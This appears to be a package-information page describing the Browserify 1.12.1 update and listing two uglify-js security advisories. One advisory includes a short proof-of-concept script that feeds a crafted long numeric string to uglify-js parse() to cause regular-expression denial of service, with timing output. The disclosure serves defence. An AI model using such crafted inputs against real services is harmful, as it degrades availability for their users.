Browserify, a tool enabling require() in browser-side JavaScript, saw a minor update from version 1.12.0 to 1.12.1 in June 2012. While the core functionality and dependencies remained consistent – including crucial support libraries like 'vm-browserify', 'http-browserify', and 'crypto-browserify' for browser compatibility – this update likely contained bug fixes or minor improvements rather than significant feature additions.
Developers using Browserify benefit from its ability to organize JavaScript code into modules and leverage npm packages directly in the browser, streamlining development workflows and promoting code reuse. The consistent dependency list between the two versions suggests stability in the core functionalities relied upon by developers.
Specifically, both versions depend upon coffee-script for developers that opt for this language and resolve which is a module-resolution algorithm useful to resolve require() paths.
The devDependencies, mostly used for testing and development, are identical ensuring code quality and a stable development environment. The releaseDate difference of roughly one day indicates a rapidly addressed issue that likely did not introduce breaking changes. For developers already using Browserify 1.12.0, upgrading to 1.12.1 offered a low-risk path to benefit from the latest refinements and ensured that they were running the most stable version available at the time. This incremental update underscores the project's commitment to maintaining a reliable and robust tool.
All the vulnerabilities related to the version 1.12.1 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js
prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.